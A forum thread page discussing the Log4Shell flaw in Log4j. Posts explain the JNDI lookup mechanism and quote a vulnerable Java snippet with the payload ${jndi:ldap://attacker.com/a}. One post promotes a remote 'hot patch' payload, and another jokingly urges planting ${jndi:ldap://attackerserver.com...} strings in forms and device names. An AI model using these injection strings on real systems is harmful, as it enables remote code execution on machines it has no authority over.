Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
Log4Shell update: second Log4j vulnerability published
11–20 of 289 posts
Re: Log4Shell update: second Log4j vulnerability published
#12 String apiVersion = he.getRequestHeader("X-Api-Version");
// This line triggers the RCE by logging the attacker-controlled HTTP header.
// The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a}
log.info("Requested Api Version:{}", apiVersion);
But what is the bug in log4j that caused the vulnerability?Anyone have a link to the relevant log4j code?
Re: Log4Shell update: second Log4j vulnerability published
#13${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
Re: Log4Shell update: second Log4j vulnerability published
#14This is less than helpful if people use this and then believe they are safe.
Re: Log4Shell update: second Log4j vulnerability published
#15Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
Not the whole industry. There are plenty of people using Java on the daily who never touch log4j2.
By the time software gets to the SaaS end user, it's giant rope-sized spaghetti noodles knit together with spaghetti thread spun from spaghetti fibers.
Re: Log4Shell update: second Log4j vulnerability published
#16My kids are tremendously disappointed that the Minecraft server is not coming back up in the near future.
https://www.spigotmc.org/threads/spigot-security-releases-%E...
Also, mojang's update instructions:
https://www.minecraft.net/en-us/article/important-message--s...
Re: Log4Shell update: second Log4j vulnerability published
#17Re: Log4Shell update: second Log4j vulnerability published
#18We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…
Re: Log4Shell update: second Log4j vulnerability published
#19According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered: String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled HTTP header. // The attacker can set their X-Api-Version header to: ${jndi:ldap://at…
Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
> By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol.
So that's where the LDAP portion comes from.
This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going.
Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details)
Does that help?
Re: Log4Shell update: second Log4j vulnerability published
#20This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).
Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes.
Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits.
Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...
How about an official name change to the above? Anyone game?